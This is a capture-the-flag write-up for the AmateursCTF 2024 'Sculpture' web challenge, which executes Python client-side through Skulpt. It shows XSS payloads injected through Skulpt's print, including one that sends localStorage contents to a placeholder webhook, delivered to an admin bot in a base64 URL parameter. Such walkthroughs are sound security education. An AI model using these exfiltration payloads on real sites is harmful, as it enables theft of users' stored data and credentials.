Amateur CTF | Sculpture

Web/Sculpture

Challenge Description

Client side rendered python turtle sculptures, why don’t we play around with them.

Remote (for use in admin bot): https://amateurs-ctf-2024-sculpture-challenge.pages.dev Admin Bot

index.html | admin-bot-excerpt.js

Challenge Overview

challenge

The challenge contains a simple input box with a run button. According to the challenge description we should be able to run python code and use the turtle module.

Going through the index.html file and doing a bit more research, you can find that the website is using Skulpt to execute the python code. The webpage is taken from the documentation of Skulpt – Using Skulpt

import turtle

t = turtle.Turtle()
t.forward(100)

print "Hello World" 

Entering this example code given in the input area runs the code and displays the output.

output

Analyzing the admin bot, it simply visits the url we provide and stores the flag in the localStorage. So we are most probably required to find an XSS and then retrieve this flag using the admin bot.

The admin bot also applies a regex to check whether the url we send is starting from https://amateurs-ctf-2024-sculpture-challenge.pages.dev/.

Exploit

Since we can execute python code, my first approach was to try and obtain a RCE by using something like os module but that didn’t work.

But it was easy to find an XSS once you notice that the print commands prints whatever sting we give on the webpage, thus it means we can potentially execute even XSS payloads.

print "<img src=1 onerror=\"alert(1337)\">"

And that was the solution. Running this simple payload gives us an XSS.

print "<img src=1 onerror=\"fetch('<Webhook URL>?flag='+localStorage.getItem('flag'))\">"

Thus we can use the above payload to send the flag from the localstorage to our webhook. We can check the exploit locally by running the localStorage.setItem("flag", "flag{testFlag}") and then running the above exploit to see if we get the flag on our webhook.

test_flag

Now we just need to figure out how to send this code to the admin bot.

document.addEventListener("DOMContentLoaded",function(ev){
    document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code"));
    runit();
});

In the index.html file we can find this code to send the payload using code get parameter. And we need to base64 encode our payload.

Thus the final payload we need to send is https://amateurs-ctf-2024-sculpture-challenge.pages.dev/?code=<base64 encoded payload>

Sending this to the admin bot gives us our flag.

Flag